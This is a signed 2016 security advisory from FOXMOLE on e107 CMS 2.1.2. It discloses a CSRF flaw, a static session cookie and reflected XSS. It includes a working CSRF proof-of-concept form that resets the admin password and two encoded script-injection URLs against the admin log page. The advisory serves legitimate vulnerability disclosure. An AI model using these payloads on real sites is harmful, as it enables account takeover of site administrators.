e107 version 2.1.2 suffers from cross site request forgery, static cookie, and cross site scripting vulnerabilities.
b32c05086a213fca01edfc373b8530f3528091ef5a8ba0807216cf309f76cb44
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
=== FOXMOLE - Security Advisory 2016-05-02 ===
e107 Content Management System (CMS) - Multiple Issues
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Affected Versions
=================
e107 2.1.2 Bootstrap CMS
Issue Overview
==============
Vulnerability Type: Multiple Vulnerabilities
Technical Risk: medium
Likelihood of Exploitation: medium
Vendor: e107
Vendor URL: http://www.e107.org
Credits: FOXMOLE employee Tim Herres
Advisory URL: https://www.foxmole.com/advisories/foxmole-2016-05-02.txt
Advisory Status: Public
CVE-Number: NA
OVE-ID:OVE-20160817-0002
OVI-ID: OVI-2016-8145
CWE-ID: CWE-80
CVSS 2.0: 3.5 (AV:N/AC:M/Au:S/C:N/I:P/A:N)
Impact
======
During internal research, multiple vulnerabilities in the e107 CMS were identified.
The identified CSRF vulnerability can be used by an attacker to gain administrative access to the system by tricking
an administrative user to activate a special crafted web form.
Furthermore the application uses a static session cookie. The cookie grants the attacker full access to the system.
Issue Description
=================
The following vulnerabilities are only examples. It is highly recommended to check the whole application for similar
vulnerabilities.
1) No Protection against Cross Site Request Forgery (CSRF) Attacks
A possible CSRF attack form, which changes the user settings from an user in this case admin (uid=1), if the
corresponding user activates it.
POC:
<html>
<body>
<form action="http://IP/usersettings.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="loginname" value="admin" />
<input type="hidden" name="email" value="admin@something.de" />
<input type="hidden" name="realname" value="Max" />
<input type="hidden" name="password1" value="Test123456" />
<input type="hidden" name="password2" value="Test123456" />
<input type="hidden" name="hideemail" value="0" />
<input type="hidden" name="image" value="
" />
<input type="hidden" name="class[]" value="+1" />
<input type="hidden" name="signature" value="[html]<p></p>[/html]" />
<input type="hidden" name="updatesettings" value="Save settings" />
<input type="hidden" name="_uid" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
2) Static Session Cookie
After a successful login the received Cookie issued by the application server "SITENAME_Cookie=" is ever the same.
This means if an attacker gets access to the cookie he is able to use it like the related password.
3) Reflected XSS
Multiple Reflected XSS in the backend. Examples:
http://host/e107_admin/admin_log.php?searchquery=&filter_options=dblog_type__0&etrigger_filter=asd&from=0&mu7a3%2522%253e%253cscript%253ealert%25285%2529%253c%252fscript%253eejc48=1
http://host/e107_admin/admin_log.php?from=10&y3r2a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253emwxva=1
The whole application should be reviewed for further vulnerabilities.
Temporary Workaround and Fix
============================
FOXMOLE advises to disable the application until the vendor publishes a complete fix.
History
=======
2016-05-02 Issue discovered
2016-08-19 Vendor contacted
2016-08-20 Vendor response: vulnerabilities will be fixed in the next release
2016-11-30 Advisory released
GPG Signature
=============
This advisory is signed with the GPG key of the FOXMOLE advisories team.
The key can be downloaded here: https://www.foxmole.com/advisories-key-3812092199E3277C.asc
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCAAdFiEEjrQMZqTYqiY2IftqOBIJIZnjJ3wFAlg/AsAACgkQOBIJIZnj
J3yD6hAAmwN+phmRFQmd9rbkuXqQeEAcPSxXEWEejpIm89jMXX4k6wu8qFzXL1ys
wuvLG+FnYaOp8pxZ0ZcVDocuuYBE+iRaMPugUxLCz4dxv9vUOVH0esAwJ/roB0U/
g/bt7KcI0bnwaPSHZTnEGRtBwHPwu6OLavvxHMtiAtLg6uc9Acs7CSDO7iKTl3K0
TMLWtPCV23knlLTmuAwXsSzONI7dexunHqLjcX5nZmfP4d3li7qYylc2EhFSWzx8
ITFKJS0TMvDl6L0Q5/4pCivz4FCl4G3EeWn3lNRjLnS2mfbdctza+tE/uqk0eW7o
4aFVgLOSu96gjgZUGEaphRjrZ5V4jXsMKsgf/C8N7xL3UzQTBMfSY+fFVXst9zNX
zspHauH6qy99H+mDOYjuQneuSgK4dOmGS+xwp5NVKBNSgHq/uWt5VFW042ygrz9S
sm40sm035rjkDPd3ZBvU8v1/xHZ/QKHXNgzDI8K2zdqQ3n9UqFuhuHGTjOfMUSof
0N+vWo11CkPtkHgOjYmXKTqXFYtdNHii8aDcvXGjoZuQT1XT70LwoCVgkfoPInYK
q8sssBpjXp6BbFovwAEyk8G4EyTWc0bCNhvBI2M7zTtRRSP0BrZUH4wHWqsI8wf5
xblT2C5S7L3ireVOj7GDGj2Edmh7Murv1EGRmUJ8F7rI/bO05Kw=
=EC4u
-----END PGP SIGNATURE-----